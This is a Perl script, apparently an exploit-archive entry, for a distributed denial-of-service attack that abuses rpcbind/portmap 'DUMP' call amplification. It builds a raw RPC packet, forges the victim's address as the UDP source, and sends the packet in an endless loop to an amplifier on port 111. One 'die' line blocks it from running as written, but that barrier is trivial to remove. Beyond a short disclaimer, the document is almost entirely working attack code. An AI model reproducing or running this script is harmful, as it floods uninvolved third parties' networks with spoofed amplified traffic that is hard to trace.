rpcinfo portmap DUMP call amplification distributed denial of service exploit.
7aecb7302e5513d6fb9ec619f90ed3a6#!/usr/bin/perl
#
#
# rpcinfo Portmap 'DUMP' call amplification ddos
#
# Copyright 2017 (c) Todor Donev
# [email protected]
# https://www.ethical-hacker.org/
# https://www.facebook.com/ethicalhackerorg
#
#
# Disclaimer:
# This or previous program is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use at your own risk and educational
# purpose ONLY!
#
# See also, UDP-based Amplification Attacks:
# https://www.us-cert.gov/ncas/alerts/TA14-017A
#
#
#
use Net::RawIP;
my $target = "$ARGV[0]";
my $rpcamp = "$ARGV[1]";
die("r34d 7h3 c0d3 m0r0n\n");
my $rpcinfo = pack ("H8", int(rand(0x10000000)))."\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00";
$rpcinfo .= "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print "[ rpcinfo Portmap 'DUMP' call amplification ddos\n";
print "[ === \n";
print "[ Copyright 2017 (c) Todor Donev\n";
print "[ todor.donev\@gmail.com\n";
print "[ https://www.ethical-hacker.org/\n";
print "[ https://www.facebook.com/ethicalhackerorg\n";
my $sock = new Net::RawIP({ udp => {} });
while () {
select(undef, undef, undef, 0.30);
my $randsport = int(rand(65535));
$sock->set({ ip => { saddr => $target, daddr => $rpcamp},
udp => { source => $randsport, dest => 111, data => $rpcinfo} });
$sock->send;
}